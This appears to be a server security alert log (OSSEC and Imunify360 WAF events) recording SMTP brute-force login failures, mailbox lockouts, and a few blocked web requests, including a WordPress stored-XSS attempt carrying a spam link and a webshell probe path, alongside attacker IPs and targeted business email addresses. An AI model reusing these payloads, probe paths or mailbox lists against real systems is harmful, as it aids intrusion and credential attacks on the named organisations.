name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:39:02 dovecot_login authenticator failed for H=(EwwY0y) [158.94.208.215]:63006: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-01 06:40:01 dovecot_plain authenticator failed for H=54.126.103.87.rev.vodafone.pt (rainess) [87.103.126.54]:45170: 535 Incorrect authentication data (set_id=kendek@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.210.46
country_id: 1036973
description:
2026-02-01 06:39:06 dovecot_login authenticator failed for H=(dynamic-adsl.movitel.co.mz) [197.219.210.46]:39132: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:39:21 dovecot_login authenticator failed for H=(xpk9zznM1H) [178.16.52.139]:54284: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:39:02 dovecot_login authenticator failed for H=(BIvVz2cEk) [178.16.52.139]:51929: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:39:13 dovecot_login authenticator failed for H=(yvOskSD) [158.94.208.175]:54360: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:39:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.251.67.85
country_id: 2017370
description:
2026-02-01 06:39:13 dovecot_login authenticator failed for H=([87.251.67.85]) [87.251.67.85]:47464: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:39:25 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:39:09 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:57910: 535 Incorrect authentication data (set_id=testing@wohcheong.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:39:22 dovecot_login authenticator failed for H=(jfWKFsPs) [178.16.54.22]:53250: 535 Incorrect authentication data (set_id=enquiry@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:39:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:40:02 dovecot_login authenticator failed for H=(gSD9M4Qj) [178.16.52.139]:51720: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:40:04 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:40:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:40:15 dovecot_login authenticator failed for H=(ibbuqO) [158.94.208.215]:51747: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:40:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: modsec
rule: 77350423
name: IM360 WAF: Unauthenticated Stored XSS via Avatar Block in WordPress Core < 6.5.2 (CVE-2024-4439)
abuser: 202.55.67.194
country_id: 1880251
domain: tst-ma.com
description:
IM360 WAF: Unauthenticated Stored XSS via Avatar Block in WordPress Core < 6.5.2 (CVE-2024-4439)||MVN:ARGS:author||MV:<a href=\"https://bestcasinobangladesh.online/\">bestcasinobgkhPi</a>||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.128.143
country_id: 1880251
domain: www.fkr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/about-us/faq/images/index.php||SC:/home2/fkrcom/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:40:04 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:65383: 535 Incorrect authentication data (set_id=testing@mams1.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:40:21 dovecot_login authenticator failed for H=(j2I5Y8SjiT) [185.36.81.54]:56701: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:40:08 dovecot_login authenticator failed for H=(2l31eAH) [178.16.54.22]:60794: 535 Incorrect authentication data (set_id=enquiry@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:40:10 dovecot_login authenticator failed for H=(kVAKpsAT) [158.94.208.175]:57249: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.45.210
country_id: 953987
description:
2026-02-01 06:40:17 dovecot_plain authenticator failed for H=(Johan-PC) [102.64.45.210]:60719: 535 Incorrect authentication data (set_id=payment@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.186.193.149
country_id: 1643084
description:
2026-02-01 06:41:05 dovecot_login authenticator failed for H=([103.186.193.149]) [103.186.193.149]:38148: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:41:13 dovecot_login authenticator failed for H=(syJH3opuK) [178.16.52.139]:59746: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:41:16 dovecot_login authenticator failed for H=(nuWmy8vaO2) [178.16.54.22]:57458: 535 Incorrect authentication data (set_id=enquiry@essemgroup.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:41:39 dovecot_login authenticator failed for H=(6MGAjA) [178.16.52.139]:51774: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:41:02 dovecot_login authenticator failed for H=(a82UTau0P) [158.94.208.175]:62256: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:41:03 dovecot_login authenticator failed for H=(06ddfUoUDj) [158.94.208.215]:60494: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.100.107.238
country_id: 1831722
description:
2026-02-01 06:41:23 dovecot_login authenticator failed for H=(dynamic-ip-adsl.metfone.com.kh) [175.100.107.238]:35460: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:41:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:41:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:42:18 dovecot_login authenticator failed for H=(XSV8vz) [185.36.81.54]:55977: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:42:39 dovecot_login authenticator failed for H=(aQxorFV) [158.94.208.175]:59179: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:42:13 dovecot_login authenticator failed for H=(ujgn0X) [178.16.52.139]:51536: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.159.211.114
country_id: 3996063
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?page=13 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:42:02 dovecot_login authenticator failed for H=(mTpdYKE) [178.16.54.22]:63547: 535 Incorrect authentication data (set_id=enquiry@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 35.203.117.99
country_id: 6251999
description:
2026-02-01 06:43:00 dovecot_login authenticator failed for H=99.117.203.35.bc.googleusercontent.com (10.162.0.2) [35.203.117.99]:62732: 535 Incorrect authentication data (set_id=zulkifli.abdul-mutalib@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:42:15 dovecot_login authenticator failed for H=(blh07RO7A) [158.94.208.215]:50727: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:43:34 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry@essemgroup.net has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:43:02 dovecot_login authenticator failed for H=(vnt8VC) [178.16.52.139]:62867: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:43:13 dovecot_login authenticator failed for H=(087Punfvz) [178.16.54.22]:60051: 535 Incorrect authentication data (set_id=enquiry@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:43:03 dovecot_login authenticator failed for H=(VoWznVn1) [158.94.208.215]:50299: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:43:49 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:43:54 dovecot_login authenticator failed for H=(EzH5mFFY) [178.16.52.139]:64764: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.179.87.204
country_id: 1814991
description:
2026-02-01 06:43:28 dovecot_login authenticator failed for H=([220.179.87.204]) [220.179.87.204]:36694: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 35.203.117.99
country_id: 6251999
description:
2026-02-01 06:43:08 dovecot_login authenticator failed for H=99.117.203.35.bc.googleusercontent.com (10.162.0.2) [35.203.117.99]:63380: 535 Incorrect authentication data (set_id=zulkifli.abdul-mutalib@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:43:10 dovecot_login authenticator failed for H=(zytl2d) [185.36.81.54]:63372: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:43:11 dovecot_login authenticator failed for H=(YEufBPmK) [158.94.208.175]:63911: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:43:49 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.173.2.182
country_id: 2017370
description:
2026-02-01 06:43:54 dovecot_login authenticator failed for H=([31.173.2.182]) [31.173.2.182]:45296: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.61.48.234
country_id: 1835841
description:
2026-02-01 06:44:26 dovecot_login authenticator failed for H=([125.61.36.27]) [125.61.48.234]:41722: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:44:35 dovecot_login authenticator failed for H=(Oi28Pv) [185.36.81.54]:63546: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.176.194
country_id: 1269750
description:
2026-02-01 06:44:37 dovecot_login authenticator failed for H=([182.95.176.194]) [182.95.176.194]:55572: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:44:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry@essemgroup.net has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.159
country_id: 2635167
description:
2026-02-01  6:44:46 206489 [Warning] Aborted connection 206489 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.159' (This connection closed normally without authentication)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:44:27 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.107.36.18
country_id: 1269750
description:
2026-02-01 06:44:25 dovecot_login authenticator failed for H=([103.107.36.18]) [103.107.36.18]:55998: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:44:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:44:22 dovecot_login authenticator failed for H=(AbgqGCAh) [178.16.54.22]:56766: 535 Incorrect authentication data (set_id=enquiry@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:44:07 dovecot_login authenticator failed for H=(Xecz3hPg5z) [158.94.208.175]:51192: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:44:10 dovecot_login authenticator failed for H=(xTzVsAUE) [178.16.52.139]:52676: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:44:15 dovecot_login authenticator failed for H=(rCVAKf) [158.94.208.215]:64243: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:45:03 dovecot_login authenticator failed for H=(0klByd) [158.94.208.215]:55923: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:45:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:45:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry@essemgroup.net has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:45:10 dovecot_login authenticator failed for H=(yaX8zYh18) [178.16.54.22]:63712: 535 Incorrect authentication data (set_id=enquiry@essemgroup.net)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:45:25 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:45:05 dovecot_login authenticator failed for H=(uP3IDwe) [158.94.208.175]:58888: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:45:07 dovecot_login authenticator failed for H=(7mT1MAjo) [178.16.52.139]:60325: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:45:23 dovecot_login authenticator failed for H=(6G3EbNa8WR) [185.36.81.54]:65203: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:46:09 dovecot_login authenticator failed for H=(oPaGZnY4CF) [178.16.52.139]:50103: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:46:59 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@aire-fresh.com has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:46:28 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:56685: 535 Incorrect authentication data (set_id=test@acburn.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:46:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:46:15 dovecot_login authenticator failed for H=(tDVpZcMsI) [158.94.208.215]:53924: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:46:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry@essemgroup.net has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:46:19 dovecot_login authenticator failed for H=(R8m04H4) [178.16.54.22]:51459: 535 Incorrect authentication data (set_id=enquiry@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:46:04 dovecot_login authenticator failed for H=(V3iUKzEM) [158.94.208.175]:49933: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.166.162.78
country_id: 1814991
description:
2026-02-01 06:46:26 dovecot_login authenticator failed for H=([180.166.162.78]) [180.166.162.78]:61237: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 06:46:35 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:34788: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.139.124.120
country_id: 1835841
description:
2026-02-01 06:46:53 dovecot_login authenticator failed for H=([125.139.124.120]) [125.139.124.120]:52434: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.37.13.66
country_id: 1814991
description:
2026-02-01 06:46:58 dovecot_login authenticator failed for H=([59.37.13.66]) [59.37.13.66]:41140: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.142.126.37
country_id: 6252001
description:
2026-02-01 06:46:07 dovecot_plain authenticator failed for H=c-69-142-126-37.hsd1.nj.comcast.net (poric) [69.142.126.37]:40648: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 8.243.166.66
country_id: 3686110
description:
2026-02-01 06:46:39 dovecot_login authenticator failed for H=([8.243.166.66]) [8.243.166.66]:4501: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.104.50.190
country_id: 1562822
description:
2026-02-01 06:46:41 dovecot_login authenticator failed for H=(dynamic-ip-adsl.viettel.vn) [116.104.50.190]:39426: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:46:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:46:31 dovecot_login authenticator failed for H=(jhWrw9r) [185.36.81.54]:61727: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:47:04 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:55184: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.186.136.36
country_id: 1814991
description:
2026-02-01 06:47:07 dovecot_login authenticator failed for H=([61.186.136.36]) [61.186.136.36]:53968: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.72.59.106
country_id: 1835841
description:
2026-02-01 06:47:26 dovecot_login authenticator failed for H=([121.128.76.109]) [61.72.59.106]:36332: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:47:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:47:25 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:47:05 dovecot_login authenticator failed for H=(da5hOLp) [178.16.54.22]:59175: 535 Incorrect authentication data (set_id=enquiry@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:47:10 dovecot_login authenticator failed for H=(7tqj5Pc5) [178.16.52.139]:56973: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:47:22 dovecot_login authenticator failed for H=(9Em7t3V) [185.36.81.54]:61343: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.159
country_id: 2635167
description:
2026-02-01  6:47:27 206563 [Warning] Aborted connection 206563 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.159' (This connection closed normally without authentication)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:47:31 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@aire-fresh.com has been locked for the attacker IP 158.94.208.175


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.167.211.97
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=738705 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:47:03 dovecot_login authenticator failed for H=(9eS1kti0V) [158.94.208.215]:56192: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:47:53 dovecot_login authenticator failed for H=(K9xLmDtrZ) [178.16.52.139]:50258: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:47:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry@essemgroup.net has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:47:18 dovecot_login authenticator failed for H=(abdTHkA) [158.94.208.175]:58468: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:48:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:48:27 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@aire-fresh.com has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:48:30 dovecot_login authenticator failed for H=(2E7eJGyH) [185.36.81.54]:63492: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.227.193.21
country_id: 1814991
description:
2026-02-01 06:48:21 dovecot_login authenticator failed for H=([124.227.193.21]) [124.227.193.21]:50389: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.146.24.164
country_id: 2017370
description:
2026-02-01 06:48:32 dovecot_login authenticator failed for H=([91.146.24.164]) [91.146.24.164]:59346: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.28.251.169
country_id: 690791
description:
2026-02-01 06:49:00 dovecot_login authenticator failed for H=(undefined.sevstar.net) [31.28.251.169]:52036: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
